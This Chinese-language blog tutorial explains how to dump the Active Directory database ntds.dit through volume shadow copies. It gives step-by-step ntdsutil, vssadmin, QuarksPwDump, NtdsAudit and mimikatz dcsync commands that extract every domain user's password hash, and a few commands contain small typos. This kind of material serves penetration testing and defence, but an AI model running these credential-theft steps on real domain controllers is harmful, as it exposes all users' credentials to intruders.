Volume Shadow Copy

活动目录数据库

ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。

为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

AD DS数据存储:

  • 由ntds.dit文件构成
  • 默认存储在所有域控制器上的%SystemRoot%\NTDS文件夹中
  • 只能通过域控制器进程和协议访问
  • 由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。

Volume Shadow Copy

Volume Shadow Copy Service是微软从Windows XP开始提供的用于创建一致性的时间点副本的服务框架。

  • 用于数据备份
  • 支持WindowsServer2003及以上操作系统
  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份无法确定
  • 禁用VSS会影响系统正常使用,如System Restore和Windows Server Backup

Ntdsutil

Ntdsutil.exe:一个为AD提供管理设施的命令行工具,域环境默认安装

交互式操作

image-20230601195112234

1
2
3
4
5
6
7
8
9
ntdsutil 进入交互界面
snapshot 创建快照
activate instance ntds 创建实例
create 创建快照
返回了一串快照集guid
mount [guid] 装载到C盘
unmount [guid] 卸载快照
del [guid] 删除快照
quit

image-20230601195335841

效果上看是创建了一个 C盘的快照,但是却发现原本无法复制的存放Hash的文件可以复制和打开了

image-20230601195703368

非交互式操作

查询当前系统的快照

1
2
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

创建快照

1
ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

1
ntdsutil snapshot  "mounted [guid]" quit quit

卸载快照

1
ntdsutil snapshot  "unmounted [guid]" quit quit

删除快照

1
ntdsutil snapshot  "del [guid]" quit quit

交互式

1
2
3
4
5
6
ntdsutil 进入交互界面
activate instance ntds 创建实例
ifm 使用ifm
create full <Drive>:\<Folder> 指定驱动器和文件夹
quit
quit

非交互式

1
ntdsutil "activate instance ntds" create full <Drive>:\<Folder> quit quit

vssadmin

VssAdmin:是Windows系统提供的卷景影复制服务VsS)的管理工具,域环境默认安装

  • 用于创建或删除卷影副本,列出卷影副本的信息
  • 用于显示所有安装的所有卷影副本写入程序和提供程序
  • 改变卷影副本存储空间的大小等

查询当前系统的快照

1
vssadmin list shadows

创建快照

1
vssadmin create shadow /for=C

获得Shadow Copy Volume Name

1
\\?GLOBALROOT\Device\HarddiskVolumeShadowCopy10

复制快照

1
copy \\?GLOBALROOT\Device\HarddiskVolumeShadowCopy10 [保存路径]

删除快照

1
vssadmin delete shadows /for=C /queit

痕迹

image-20230601202415613

无法直接访问,需要创建符号链接进行访问

image-20230601202501253

解密ntds.dit

QuarkPwDump

QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

1.修复复制出来的数据库文件

1
esentutl /p /o ntds.dit

2.使用QuarksPwDump直接读取信息并将结果导出至文件

1
QuarksPwDump.exe --dump-hash-domain --output [输出文件名] --ntds-file ntds.dit

NtdsAudit

NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态.

将ntds.dit文件和SYSTEM文件放在同一自录下执行命令

1
NtdsAudit.exe "ntds.dit" -s "system.hive"-p pwdump.txt --users-csv users.csv

mimikatz(通常直接用cobaltstrike)

通过dcsync直接获取mingy域内所有用户hash

1
mimikatz lsadump:dcsync /domain:[域名] /all/csv

总结

许多没法进行复制或打开的文件,可以通过创建快照的方式来创建副本,于是可以进行复制和打开,sam文件、ntds.dit文件、system文件的获取就是如此,利用了卷影的机制。

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally